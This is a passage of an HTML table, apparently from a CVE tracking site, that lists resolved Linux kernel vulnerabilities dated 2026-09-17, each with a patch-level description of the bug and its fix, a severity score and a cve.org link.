&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90353&quot; target=&quot;_blank&quot;&gt;CVE-2026-90353&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf, x86: Fix trampoline stack size for 128-bit arguments btf_distill_func_proto() accepts a function argument up to 16 bytes, so a 128-bit scalar such as __int128 reaches the x86 trampoline with arg_size == 16. But the current implementation assumes an __int128 argument only needs one register, so the register save area is under-allocated and save_args() overwrites adjacent stack slots. Compute the register count from arg_size for all arguments to fix it.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90358&quot; target=&quot;_blank&quot;&gt;CVE-2026-90358&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7915: avoid nss underflow in mt7915_mcu_get_sta_nss If a peer&#039;s VHT/HE MCS map has no supported spatial stream (all fields 0x3), the loop exits with nss == 0 and the function returned (u8)-1 (255), which was then written into the firmware sta_rec_bf beamforming fields. Clamp the result to 0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90372&quot; target=&quot;_blank&quot;&gt;CVE-2026-90372&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: misc: sgi-gru: remove interrupt-context page-table walks The GRU TLB miss handler walks a process&#039;s page tables without holding page-table locks or a reference to the mapped page. It also uses a kernel page-table accessor on user page tables and supports only PMD-level large mappings on x86-64. Remove the direct walker. Send interrupt faults directly to user polling mode so the existing call-OS fallback retries them in process context. Remove the mmap-lock failure statistic that can no longer be incremented.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90383&quot; target=&quot;_blank&quot;&gt;CVE-2026-90383&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: swiotlb: Preserve allocation virtual address for dynamic pools swiotlb_alloc_tlb() can allocate from the DMA atomic pool when a decrypted pool is needed from atomic context. With CONFIG_DMA_DIRECT_REMAP, the atomic pool is backed by remapped virtual addresses, which are not the same as the direct-map addresses returned by phys_to_virt(). swiotlb_init_io_tlb_pool() currently reconstructs the pool virtual address from the physical start address. For atomic-pool backed allocations this stores the wrong address in pool-&amp;gt;vaddr. Later, swiotlb_free_tlb() passes that address to dma_free_from_pool(), which will fail to recognize the chunk Pass the virtual address returned by the allocation path into swiotlb_init_io_tlb_pool(), and store that address in pool-&amp;gt;vaddr. This keeps the pool free path using the same virtual address as the allocator.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90387&quot; target=&quot;_blank&quot;&gt;CVE-2026-90387&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/dma: Check atomic pool allocation result directly The non-blocking, non-coherent allocation path uses dma_alloc_from_pool(), which returns the allocated page and fills cpu_addr only on success. Do not rely on cpu_addr to detect allocation failure in this path. Check the returned page directly before using it for the IOMMU mapping.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90388&quot; target=&quot;_blank&quot;&gt;CVE-2026-90388&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Fix potential UAF when reading bpf link info In bpf_link_show_fdinfo and bpf_link_get_info_by_fd, link-&amp;gt;prog is accessed without holding any locks. If the prog is concurrently replaced via bpf_link_update, the old prog can be freed, leading to a potential UAF issue. Fix this by accessing link-&amp;gt;prog under RCU protection to safely fetch the pointer and guarantee its lifetime while reading its fields.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90392&quot; target=&quot;_blank&quot;&gt;CVE-2026-90392&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: md: remove REQ_NOWAIT support from raid1/10/456 REQ_NOWAIT support in md personalities that can block internally is fundamentally incomplete. While reads can avoid some blocking paths, write requests can still encounter cases where one mirror succeeds while another returns -EAGAIN. At that point md cannot distinguish queue pressure from a real device failure, so it can neither record a bad block nor safely retry the write without REQ_NOWAIT, leaving mirrors with divergent data. Rather than continue advertising REQ_NOWAIT support for personalities that cannot implement it correctly, remove it from raid1, raid10 and raid456. Keep REQ_NOWAIT for linear and raid0, which only remap bios to their underlying devices; stacked limits will still clear the feature if any component device lacks REQ_NOWAIT support.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90401&quot; target=&quot;_blank&quot;&gt;CVE-2026-90401&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bus: mhi: host: Fix controller cleanup on EDL sysfs failure mhi_register_controller() adds the controller device before creating the optional trigger_edl sysfs file. If sysfs_create_file() fails, the error path only drops the device reference and leaves the device registered. Hence, call device_del() in the error path before put_device().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90402&quot; target=&quot;_blank&quot;&gt;CVE-2026-90402&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: rtlwifi: pci: fix error path in rtl_pci_probe() In the last error path in rtl_pci_probe(), the cleanup functions are skipped due to a wrong goto label. Moreover, the successful call to rtl_init_rfkill(), ieee80211_register_hw(), rtl_debug_add_one() have to be reverted. Fix this issue by updating the labels and adding the relevant cleanup functions to the last error path.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90403&quot; target=&quot;_blank&quot;&gt;CVE-2026-90403&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: ath11k: fix overreads in ath11k_wmi_process_csa_switch_count_event() There is no policy entry for WMI_TAG_PDEV_CSA_SWITCH_COUNT_STATUS_EVENT, so the parse infrastructure does not enforce a minimum length for the event struct. Additionally, the num_vdevs field is taken directly from firmware and used as a loop bound over the vdev_ids array without checking that it fits within the TLV payload. Either condition can cause an out-of-bounds read. Add a TLV policy entry for WMI_TAG_PDEV_CSA_SWITCH_COUNT_STATUS_EVENT so the parse infrastructure enforces a minimum length for the fixed-size event struct. Add a helper ath11k_wmi_tlv_data_len() to recover the payload length of a parsed TLV from the header preceding its data pointer. Use it in ath11k_wmi_process_csa_switch_count_event() to bound num_vdevs before the loop. Compile tested only.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90407&quot; target=&quot;_blank&quot;&gt;CVE-2026-90407&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: ath12k: fix overreads in ath12k_wmi_process_csa_switch_count_event() There is no policy entry for WMI_TAG_PDEV_CSA_SWITCH_COUNT_STATUS_EVENT, so the parse infrastructure does not enforce a minimum length for the event struct. Additionally, the num_vdevs field is taken directly from firmware and used as a loop bound over the vdev_ids array without checking that it fits within the TLV payload. Either condition can cause an out-of-bounds read. Add a TLV policy entry for WMI_TAG_PDEV_CSA_SWITCH_COUNT_STATUS_EVENT so the parse infrastructure enforces a minimum length for the fixed-size event struct. Add a helper ath12k_wmi_tlv_data_len() to recover the payload length of a parsed TLV from the header preceding its data pointer. Use it in ath12k_wmi_process_csa_switch_count_event() to bound num_vdevs before the loop. Compile tested only.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90408&quot; target=&quot;_blank&quot;&gt;CVE-2026-90408&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nilfs2: prevent out-of-bounds read in super root block parsing super-root inode metadata size is trusted before nilfs_read_inode_common(). Reject super-root inode sizes whose computed on-disk footprint exceeds the filesystem block size. This prevents malformed filesystem images from making nilfs_read_inode_common() read past the end of the super-root block. [ryusuke: clarify the commit title]&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90419&quot; target=&quot;_blank&quot;&gt;CVE-2026-90419&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/rxe: Fix UAF in ODP init error-handling path rxe_odp_mr_init_user() stores &amp;amp;umem_odp-&amp;gt;umem in mr-&amp;gt;umem before calling rxe_odp_init_pages(). If rxe_odp_init_pages() fails, rxe_odp_mr_init_user() releases umem_odp and returns an error. rxe_reg_user_mr() then unwinds the error through rxe_cleanup(), rxe_mr_cleanup(), ib_umem_release(mr-&amp;gt;umem). There is an IS_ERR_OR_NULL(umem) check at the start of ib_umem_release(). But since mr-&amp;gt;umem is NOT reset to NULL in the error handling path of rxe_odp_mr_init_user(), the check passes and it reads already-freed fields like umem-&amp;gt;is_dmabuf, causing UAF. Fix the UAF by clearing mr-&amp;gt;umem after releasing the failed ODP umem so the MR cleanup path does not release it again.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90423&quot; target=&quot;_blank&quot;&gt;CVE-2026-90423&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/tegra241-cmdqv: Don&#039;t fall back to a freed smmu after devm_krealloc() __tegra241_cmdqv_probe() uses devm_krealloc() to grow @smmu into the larger tegra241_cmdqv, which frees the original @smmu once it relocates. A failure after that returned NULL, and the caller then dereferenced the freed @smmu on its fallback path. Return an int and take @smmu by reference instead, then update *smmu to the reallocated pointer after devm_krealloc() succeeds, so the caller and its fallback path both use the live @smmu rather than the freed original.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90427&quot; target=&quot;_blank&quot;&gt;CVE-2026-90427&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/tegra241-cmdqv: Synchronize the error ISR against VINTF (de)init A user VINTF is torn down by tegra241_cmdqv_deinit_vintf(), which runs from the destroy callback and from the init-failure unwind in the alloc handler. It clears the cmdqv-&amp;gt;vintfs[] slot and lets the iommufd core free it, but nothing serializes that against the error interrupt: tegra241_cmdqv_isr() reads cmdqv-&amp;gt;vintfs[idx] and dereferences the vintf. A concurrent error can make the ISR read a slot mid-clear (a NULL deref) or use a vintf which is about to be freed (a use-after-free). deinit_vintf() also returns idx to the IDA before clearing the slot, so a concurrent create that reuses idx can publish its new vintf into the slot, only for this teardown to erase it again with the stale NULL store. On the other end, tegra241_cmdqv_init_vintf() publishes a new vintf with a plain store to the cmdqv-&amp;gt;vintfs[] slot, and the ISR dereferences fields of a published vintf such as vintf-&amp;gt;base. A plain store gives no ordering on a weakly-ordered CPU, and a stale VINTF_ERR_MAP bit on a reused idx can make the ISR pick a vintf the moment it is published, before its fields are set or tegra241_vintf_hw_init() runs. The cmdqv-&amp;gt;vintfs[0] slot stays NULL until tegra241_cmdqv_init_structures() first creates VINTF0, so the slot 0 read needs the same NULL check. Publish every slot with an smp_store_release(), and read each slot in the ISR with an smp_load_acquire() under a NULL check, so the ISR always sees a fully built vintf or NULL. Also make deinit_vintf() clear the slot, and synchronize_irq() prior to returning idx to the IDA, so no vintf is freed under a running handler and no reused idx is clobbered.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90429&quot; target=&quot;_blank&quot;&gt;CVE-2026-90429&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/mlx5: Fix integer overflow of user QP buffer size set_user_buf_size() computes the QP buffer size by left-shifting the user-supplied rq.wqe_cnt and rq.wqe_shift values as signed integers. A sufficiently large rq.wqe_cnt causes signed integer overflow, which is undefined behavior, and yields a small or negative buf_size, causing ib_umem_get() to map a buffer smaller than the hardware will actually write into. Replace the shifts and addition with check_shl_overflow() and check_add_overflow(), rejecting invalid user inputs. Moreover, guard the identical shift computing qp-&amp;gt;sq.offset in _create_user_qp() before set_user_buf_size() is reached.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90435&quot; target=&quot;_blank&quot;&gt;CVE-2026-90435&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Fix WARNING in bpf_tracing_link_release The trampoline could be corrupted by the blindly &#039;tr-&amp;gt;flags = BPF_TRAMP_F_TAIL_CALL_CTX&#039; in verifier. 1. A fexit attached to a tail_call_reachable prog. &#039;tr-&amp;gt;flags&#039; became &#039;BPF_TRAMP_F_CALL_ORIG | BPF_TRAMP_F_TAIL_CALL_CTX&#039;. And, the trampoline would poke the target prog&#039;s nop insn using jmp insn instead of call insn. 2. Another fexit loaded with the same tail_call_reachable prog target. &#039;tr-&amp;gt;flags&#039; became &#039;BPF_TRAMP_F_TAIL_CALL_CTX&#039;. 3. Close the first fexit link. Due to no BPF_TRAMP_F_CALL_ORIG in &#039;tr-&amp;gt;flags&#039;, the trampoline will fail to restore the prog&#039;s nop insn using call insn. [ 3.410719] WARNING: kernel/bpf/syscall.c:3551 at bpf_tracing_link_release+0x53/0x60, CPU#1: test_progs/98 ... [ 3.428793] bpf_link_free+0x58/0x130 [ 3.429293] bpf_link_release+0x23/0x30 Fix the warning by updating &#039;tr-&amp;gt;flags&#039; with &#039;|=&#039; and lock.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92485&quot; target=&quot;_blank&quot;&gt;CVE-2026-92485&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/erdma: complete object teardown when the destroy command fails erdma_destroy_qp(), erdma_destroy_cq(), erdma_dereg_mr(), and erdma_destroy_ah() returned early when erdma_post_cmd_wait() failed, leaking the queue buffers, MTTs, doorbells and the STAG, QPN, CQN and AHN identifiers. A command timeout clears ERDMA_CMDQ_STATE_OK_BIT and permanently disables the command queue, so no retry can succeed; the RDMA core keeps the object after a failed destructor and forced uverbs cleanup then nulls the pointers, making the resources unreachable. Warn on failure but release every software-owned resource and return success, since during terminal destruction the hardware command result is only diagnostic.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92488&quot; target=&quot;_blank&quot;&gt;CVE-2026-92488&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: thermal: intel: int3400: clean up ODVP on probe failures evaluate_odvp() creates per-ODVP sysfs files before the thermal zone and later probe resources are registered. The current unwind path only calls cleanup_odvp() from the late sysfs failure path, so failures after evaluate_odvp() but before that label, including thermal_tripless_zone_device_register() failures, leave the ODVP files and storage behind. Move the ODVP cleanup to the common ART/TRT unwind path so every failure after evaluate_odvp() releases the ODVP state. Also clear the cached ODVP pointers in cleanup_odvp(), because evaluate_odvp() can already call it for partial setup failures while probe continues.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92504&quot; target=&quot;_blank&quot;&gt;CVE-2026-92504&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/core: Fix potential use after free in ib_dealloc_pd_user() When accessing a PD via the netlink path the only synchronization mechanism for the said PD is rdma_restrack_get(). Currently, rdma_restrack_del() is invoked at the end of ib_dealloc_pd_user(), which is too late, since by that point vendor-specific resources associated with the PD might already be freed. This can leave a short window where the PD remains accessible through restrack, leading to a potential use-after-free. Fix this by moving the rdma_restrack_begin_del() call to the start of ib_dealloc_pd_user(), ensuring that the PD is removed from restrack before its internal resources are released. This guarantees that no new users hold references to a PD that is in the process of destruction. In addition, this change preserves the intended inverted order between create and destroy routines: resources are added to restrack at the end of successful creation, and hence shall be removed from the restrack first thing during the destruction flow, which keeps the lifecycle management consistent and predictable.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92507&quot; target=&quot;_blank&quot;&gt;CVE-2026-92507&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/core: Fix potential use after free in ib_free_cq() When accessing a CQ via the netlink path the only synchronization mechanism for the said CQ is rdma_restrack_get(). Currently, rdma_restrack_del() is invoked at the end of ib_free_cq(), which is too late, since by that point vendor-specific resources associated with the CQ might already be freed. This can leave a short window where the CQ remains accessible through restrack, leading to a potential use-after-free. Fix this by moving the rdma_restrack_del() call to be before the freeing of the vendor-specific resources ensuring that the CQ is removed from restrack before its internal resources are released. This guarantees that no new users hold references to a CQ that is in the process of destruction.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92508&quot; target=&quot;_blank&quot;&gt;CVE-2026-92508&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/core: Fix potential use after free in ib_destroy_srq_user() When accessing a SRQ via the netlink path the only synchronization mechanism for the said SRQ is rdma_restrack_get(). Currently, rdma_restrack_del() is invoked at the end of ib_destroy_srq_user(), which is too late, since by that point vendor-specific resources associated with the SRQ might already be freed. This can leave a short window where the SRQ remains accessible through restrack, leading to a potential use-after-free. Fix this by moving the rdma_restrack_begin_del() call to the start of ib_destroy_srq_user(), ensuring that the SRQ is removed from restrack before its internal resources are released. This guarantees that no new users hold references to a SRQ that is in the process of destruction. In addition, this change preserves the intended inverted order between create and destroy routines: resources are added to restrack at the end of successful creation, and hence shall be removed from the restrack first thing during the destruction flow, which keeps the lifecycle management consistent and predictable.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92510&quot; target=&quot;_blank&quot;&gt;CVE-2026-92510&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/core: Fix potential use after free in ib_destroy_cq_user() When accessing a CQ via the netlink path the only synchronization mechanism for the said CQ is rdma_restrack_get(). Currently, rdma_restrack_del() is invoked at the end of ib_destroy_cq_user(), which is too late, since by that point vendor-specific resources associated with the CQ might already be freed. This can leave a short window where the CQ remains accessible through restrack, leading to a potential use-after-free. Fix this by moving the rdma_restrack_begin_del() call to the start of ib_destroy_cq_user(), ensuring that the CQ is removed from restrack before its internal resources are released. This guarantees that no new users hold references to a CQ that is in the process of destruction. In addition, this change preserves the intended inverted order between create and destroy routines: resources are added to restrack at the end of successful creation, and hence shall be removed from the restrack first thing during the destruction flow, which keeps the lifecycle management consistent and predictable.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92511&quot; target=&quot;_blank&quot;&gt;CVE-2026-92511&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: riscv, bpf: Fix kernel stack corruption in tailcall with CFI When CONFIG_CFI_CLANG is enabled, prog-&amp;gt;bpf_func already skips the kcfi instruction during setup. Including it again in the tailcall jump offset causes it to jump over an extra 4 bytes, skipping the stack pointer adjustment, which will result in kernel stack corruption.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92518&quot; target=&quot;_blank&quot;&gt;CVE-2026-92518&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPI: processor: validate MADT IOAPIC entry bounds The IOAPIC hotplug lookup parses both MADT and _MAT records directly. The MADT walk previously used a subtable&#039;s declared length to advance the cursor after only locating a generic header. The _MAT path likewise passed a generic header to the IOAPIC helper. Validate that a current record has a complete generic header, that its declared length is contained in the available record range, and that a typed IOAPIC record contains the full fixed IOAPIC body before reading its fields. Use the same relation for both MADT and _MAT provider paths.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92522&quot; target=&quot;_blank&quot;&gt;CVE-2026-92522&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/rxe: Validate num_sge/cur_sge before indexing wqe-&amp;gt;dma.sge[] For a user QP, qp-&amp;gt;sq.queue is a ring the application writes directly, so rxe_post_send() takes the is_user branch and only schedules send_task without validating the WQE. rxe_requester() consumes it in place via req_next_wqe() and calls copy_data(), which indexes &amp;amp;wqe-&amp;gt;dma.sge[cur_sge] with the attacker-controlled num_sge/cur_sge. Only the kernel path bounds num_sge (validate_send_wr()); the user WQE is never checked, so a local unprivileged user can post a WQE with an out-of-range cur_sge or oversized num_sge and force an out-of-bounds read of the per-WQE sge array in copy_data() (vmalloc OOB read, local DoS). Bound num_sge to qp-&amp;gt;sq.max_sge in rxe_requester() before use, the way get_srq_wqe() already guards SRQ entries, and bound cur_sge only when the WQE carries payload (dma.resid): copy_data() returns early on a zero-length copy before touching dma-&amp;gt;sge[], so a zero-payload WQE -- the only kind a max_sge == 0 QP can post -- stays valid. Reproduced under KASAN; the vmalloc-out-of-bounds in copy_data() is gone.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92525&quot; target=&quot;_blank&quot;&gt;CVE-2026-92525&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/hfi1: Propagate sdma_txinit_ahg() errors set_txreq_header_ahg() ignores the return value of sdma_txinit_ahg(). If sdma_txinit_ahg() fails, it returns before initializing tx-&amp;gt;txreq. However, set_txreq_header_ahg() ignores the error and returns the AHG change count, causing the caller to continue processing the request as though initialization had succeeded. Propagate sdma_txinit_ahg() failures to the caller and abort request processing when initialization fails. Found by Linux Verification Center (linuxtesting.org) with SVACE.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93037&quot; target=&quot;_blank&quot;&gt;CVE-2026-93037&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: meson: Keep link pointers valid on realloc failure meson_card_reallocate_links() grows the DAI link and private data arrays with two consecutive krealloc() calls and updates the owner pointers only after both calls have succeeded. A successful krealloc() may move the data: it frees the old block and returns a new one. When that happens for the link array and the second krealloc() then fails, card-&amp;gt;dai_link still points to the block that krealloc() already freed, and the error path frees the new block too. The probe error path then calls meson_card_clean_references(), which dereferences card-&amp;gt;dai_link and kfree()s it again, resulting in a use-after-free and a double free. Commit card-&amp;gt;dai_link and card-&amp;gt;num_links right after the first krealloc() succeeds, so the pointer always refers to a valid allocation that meson_card_clean_references() can walk and free. krealloc() with __GFP_ZERO zero-initializes the added entries, so walking them on the error path is safe. With both failure paths reduced to a plain return, drop the goto labels and the error message.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
